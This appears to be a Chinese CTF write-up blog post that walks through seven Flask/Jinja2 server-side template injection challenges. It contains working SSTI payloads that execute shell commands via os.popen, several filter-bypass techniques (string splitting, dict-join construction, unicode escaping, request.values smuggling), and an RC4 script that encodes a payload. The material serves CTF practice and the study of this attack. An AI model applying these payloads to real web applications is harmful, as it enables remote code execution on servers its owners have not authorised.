【Web】Flask|Jinja2 SSTI

目录

①[NISACTF 2022]is secret

②[HNCTF 2022 WEEK2]ez_SSTI

③[GDOUCTF 2023] 

④[NCTF 2018]flask真香

⑤[安洵杯 2020]Normal SSTI

⑥[HNCTF 2022 WEEK3]ssssti

⑦[MoeCTF 2021]地狱通讯


①[NISACTF 2022]is secret

【Web】Flask|Jinja2 SSTI_第1张图片

dirsearch扫出/secret

 【Web】Flask|Jinja2 SSTI_第2张图片

明示get传一个secret 

?secret={{7*7}}直接报错告诉我们是flask

【Web】Flask|Jinja2 SSTI_第3张图片

 点开看看【Web】Flask|Jinja2 SSTI_第4张图片

rc4加密?

密钥为HereIsTreasure

贴一段脚本先

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)


//请输入明文:
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
rc4加密后的url编码:.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

最终payload:

/secret?secret=.%14A%1B%C2%958%02%60b%C2%89%C3%A7%2C%C3%B0%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FM1%C3%96%07%C2%B6P%C3%99%3B%C3%AB9%C2%82C%C3%857%C3%8Eo%C3%99%40%C2%9D%C2%88%C3%B4l%02%C3%BA%27%C3%AD%C3%BFySk%C3%A6%3Ac%C2%85%2Bw%C3%BB%C3%B1%0D%1E%C3%A6%C3%93P%C3%B4Y5T2%C3%A7%07%C2%9C%3A%C3%A1h%C3%93%27_tq%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%AC%C3%88%C3%BB%3D

②[HNCTF 2022 WEEK2]ez_SSTI

【Web】Flask|Jinja2 SSTI_第5张图片

明示SSTI

测出注入点

 【Web】Flask|Jinja2 SSTI_第6张图片

上武器库

直接秒了还行

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

 【Web】Flask|Jinja2 SSTI_第7张图片

?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac f*').read()")}}

 【Web】Flask|Jinja2 SSTI_第8张图片

③[GDOUCTF 2023] 

【Web】Flask|Jinja2 SSTI_第9张图片

看到输入框先试试SSTI()

经过测试 发现过滤了 _ {{}} . [] '' os popen getitem \

{%!%}报错发现是Jinja2

【Web】Flask|Jinja2 SSTI_第10张图片

太麻烦了直接上Fenjing先梭

【Web】Flask|Jinja2 SSTI_第11张图片

【Web】Flask|Jinja2 SSTI_第12张图片

(梭门!!!)

或者字符串拼接

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a,item=b)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% print((x|attr(geti))('open')('/flag')|attr('read')()) %}

再极端一点过滤引号

{% set pop=dict(pop=1)|join %}
{% set kong=(lipsum|string|list)|attr(pop)(9) %}
{% set xhx=(lipsum|string|list)|attr(pop)(18) %}
{% set re=(config|string|list)|attr(pop)(239) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}
{% set o=dict(o=a,s=b)|join %}
{% set po=dict(pop=a,en=b)|join %}
{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

④[NCTF 2018]flask真香

【Web】Flask|Jinja2 SSTI_第13张图片

发现注入点

【Web】Flask|Jinja2 SSTI_第14张图片

fuzz测试出以下字符被过滤,拼接即可

【Web】Flask|Jinja2 SSTI_第15张图片

原payload:

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

修改后:

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

【Web】Flask|Jinja2 SSTI_第16张图片

/{{x.__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('tac /Th1s_is__F1114g').read()")}}

【Web】Flask|Jinja2 SSTI_第17张图片

⑤[安洵杯 2020]Normal SSTI

先试{%!%}直接报错Jinja2

乐,Fenjing启动

【Web】Flask|Jinja2 SSTI_第18张图片

 然而并不行,看来过滤挺多的

但经过尝试没有过滤""

上大招

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr(popen)("cat /f*")|attr("read")())%}

 unicode编码脚本

class_name = "__globals__"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("read")())%} 

⑥[HNCTF 2022 WEEK3]ssssti

找到注入点

【Web】Flask|Jinja2 SSTI_第19张图片

fuzz测出黑名单

【Web】Flask|Jinja2 SSTI_第20张图片

 对照武器库直接秒了

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=tac /flag

⑦[MoeCTF 2021]地狱通讯

开屏直接放了源码

【Web】Flask|Jinja2 SSTI_第21张图片

首先看代码get请求传入f1ag和exp并且将f1ag传入FLAG函数里面,并且将FLAG的返回值f1Ag与exp拼接存在message变量里,如果exp存在值的话就返回拼接后的字符串。

我们知道format会把f1Ag的值带入到变量message"Your flag is {0}"中的{0},所以我们让exp中也有一个{0},这样就可以将f1Ag中的值代入进去,然后找到他的所属类,然后找到FLAG中的全局变量flag。

payload:

?f1ag=&exp={0.__class__.__init__.__globals__} 

你可能感兴趣的:(flask,python,后端,SSTI,CTF,WEB,安全)